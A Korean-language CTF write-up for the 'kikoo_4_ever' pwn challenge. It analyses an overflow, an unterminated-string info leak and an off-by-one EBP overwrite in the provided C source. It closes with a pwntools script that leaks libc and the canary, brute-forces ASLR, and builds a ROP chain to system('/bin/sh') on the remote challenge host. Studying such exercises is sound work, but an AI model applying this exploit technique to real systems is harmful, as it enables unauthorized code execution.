
I have a theory that anyone who spends most of their time on the internet, and has virtual friends, or not, knows at least one kikoo in their entourage. "Kikoo: A young teenager or child who uses text messaging, making numerous spelling mistakes, sometimes behaving immaturely, aggressively, vulgarly, rude, even violent, especially on the internet." - wiktionary.org That's the definition I found on wiktionary.org, but I think being a kikoo is not that pejorative, I also think you can be a kikoo no matter how old you are. Being a kikoo is having a different mentality, it's having a different humor, it's having different hobbies, being a kikoo is mostly an internet lover.
After reading these few lines, and that no one has come to mind, it's that there must be a problem, if there is, we'll fix it immediately. Don't worry, I'm going to teach you how to identify a kikoo, they have very characteristic behaviours, and that's what we're going to see in a moment. Start by running the program, then listen to my instructions...
nc sharkyctf.xyz 20337
kikoo_4_ever libc-2.27.so kikoo_4_ever.c
문제 파일을 실행하면 어떤 시나리오(?)를 선택할 수 있는 메뉴가 주어지고

그 후, 룰을 추가하거나 확인 및 기타 등등의 메뉴를 선택할 수 있다.

C언어 소스가 주어졌다.
프로그램이 쓸데없는 기능들로 인해 사이즈가 불필요하게 컸기 때문에 최소한의 배려를 해준 것 같다.
풀고 난 지금도 어떤 목적과 기능의 프로그램인지 모르겠을 정도니..
어쨌든 확인해보자.
main
int main(void){ char tmp[64]; int choice; int go_on = 1; initialisation(); introduction(); choisir_lieux(); while(go_on){ choix(); printf("> "); choice = read_user_int(); switch (choice) { case 1: lire_les_regles(); break; case 2: ecrire_regle(); break; case 3: choisir_lieux(); break; case 4: lire_observations(); break; case 9: go_on = 0; break; default: printf("\nDon't get what you're trying to do, buddy.\n\n"); break; } } return 0; }
처음에 실행되는 initialisation()와 기타 함수는 다음의 전역 구조체 변수를 초기화한다.
typedef struct regle{ char regle[REGLE_BUF_SIZE]; int locked; }Regle; typedef struct lieux{ char nom[LIEUX_BUF_SIZE]; int visite; char initiale; }Lieux; typedef struct kikoos_observe{ char pseudos[10][32]; char observations[10][128]; int n_observation; }Kikoos_observe;
초기화 시키거나 내용을 추가하는 함수의 내용은 매우 길지만, 취약점과 무관한 내용이다.
넘어가자.
취약점이 발생하는 포인트는 룰을 추가하는 기능의 ecrire_regle() 함수이다.
ecrire_regle
void ecrire_regle(){ char buf[REGLE_BUF_SIZE]; int i; char go_on[8] = "n"; Regle *regle = NULL; if(kikoos_observe.n_observation == 0){ puts("What are you going to write? We haven't found anything interesting yet."); puts("Let's go find some kikoo."); return; } i = get_free_index((void**)les_regles_du_kikoo); if(i == -1){ puts("The list of rules is full."); return; } puts("\nMake me dream, what's that rule?"); do{ printf("Rule n°%d: ", (i+1)); read_user_str(buf, REGLE_BUF_SIZE+0x10); printf("Read back what you just wrote:\n%s\n", buf); printf("Is it ok? Shall we move on? (y/n)"); read_user_str(go_on, 4); }while(go_on[0] != 'y'); regle = creer_regle(buf, 1); les_regles_du_kikoo[i] = regle; }
kikoos_observe 구조체 배열에 값이 존재하면, 룰을 저장하는 les_regles_du_kikoo에서 비어있는 요소의 인덱스를 가져온다.
그 후 read_user_str() 함수로 룰을 입력받아 저장한다.
그런데 read_user_str()에 전달하고 있는 크기가 버퍼보다 0x10 큰 값이므로 오버플로우가 발생한다.
하지만 canary와 dummy 바이트가 존재하기 때문에 오버플로우를 이용해 직접적으로 ret를 조작할 수는 없다.
read_user_str
void read_user_str(char* s, int size){ char *ptr = NULL; read(0, s, size); ptr = strchr(s, '\n'); if(ptr != NULL) *ptr = 0; //Si il y a pas de \n c'est qu'il a rempli le buffer au max du max, enfin j'crois else s[size] = 0; }
라이브러리 주소가 leak되는 원인은 read_user_str 함수에 있다.
read로 입력을 받은 후 입력값에 \n이 있을 경우 널 바이트를 삽입한다.
하지만 \n을 입력하지 않는다면 널 바이트를 삽입하지 않으므로 buf에는 terminated string이 존재하지 않게 된다. 그러므로 read_user_str이 끝난 후 실행되는 ecrire_regle의 printf에서 스택의 값이 leak될 것이다.
read_user_str(buf, REGLE_BUF_SIZE+0x10);
printf("Read back what you just wrote:\n%s\n", buf);
룰이 저장되는 buf에는 초기에 상당히 많은 스택의 주소값이 저장되어 있다. 이 값을 이용해 라이브러리의 base 주소를 구할 수 있으며, buf를 canary 직전까지 채운다면 canary 또한 구할 수 있게 된다.
read_user_str에는 한 가지 취약점이 더 존재한다.
buf를 최대 길이로 입력할 경우 다음의 코드에 의해 ebp의 마지막 바이트가 널 바이트로 덮어써진다.
else
s[size] = 0;
스택의 프레임 구조는 다음과 같은데
.png)
EBP의 LSB(byte)가 00으로 덮어써지면, ecrire_regle에 저장되있는 EBP 값이 감소된다.
그러면 main의 ebp가 아닌 낮은 주소값을 가리킬 것이고, 그것이 페이로드가 저장된 buf라면 ret를 조작하고 rop 체인까지 구성할 수 있게 된다.
.png)
문제 바이너리는 aslr이 걸려있고 buf와 main의 ebp간의 차이가 꽤 있기 때문에, 브루트 포스를 통해서 Off-By-One으로 줄어드는 주소 값이 커지는 순간을 기다려야 한다.
예를 들어, 차이가 0x50인데 ebp의 LSB가 0x20이라면 0x00으로 덮어써지더라도 ebp는 buf를 가리키지 않으므로 공격에 실패한다.
system를 이용해 쉘을 실행시킨다.main 함수의 루프를 빠져나오기 위해 go_on 변수 값을 0으로 설정해야 한다.from pwn import *
context.update(arch='amd64', os='linux', log_level='debug')
while True:
#p = process('kikoo_4_ever')
p = remote('sharkyctf.xyz', 20337)
p.sendlineafter('> ', 'T')
p.sendlineafter('> ', 'Q')
p.sendlineafter('> ', '2')
p.sendafter(': ', cyclic(56))
p.recvuntil('wrote:\n')
libc_leak = u64(p.recv(64)[56:56+6].ljust(8, '\x00'))
libc_base = libc_leak - 0x94038
log.info('libc_leak: ' + hex(libc_leak))
log.info('libc_base: ' + hex(libc_base))
p.sendlineafter('n)', 'y')
p.sendafter(': ', cyclic(521))
p.recvuntil('wrote:\n')
_canary = u64(p.recv(528)[521:].rjust(8, '\x00'))
log.info('canary: ' + hex(_canary))
p.sendlineafter('n)', 'n')
libc = ELF('libc-2.27.so')
addr_system = libc.symbols['system'] + libc_base
binsh = libc.search('/bin/sh').next() + libc_base
pRdi_ret = 0x000000000002155f + libcbase
ret = 0x00000000000008aa + libcbase
payload = p64(0) #go_on
payload += cyclic(72) #choic, tmp[64]
payload += p64(_canary)
payload += p64(ret)*10
payload += p64(pRdi_ret) + p64(binsh)
payload += p64(addr_system)
payload += p64(_canary)
payload = cyclic(528-len(payload)) + payload
p.sendafter(': ', payload)
p.sendlineafter('n)', 'y')
p.sendlineafter('> ', '9')
_recv = p.recvrepeat(1)
if _recv.find('terminated') != -1:
p.close()
continue
p.interactive()
코드를 실행하면

쉘을 획득할 수 있다.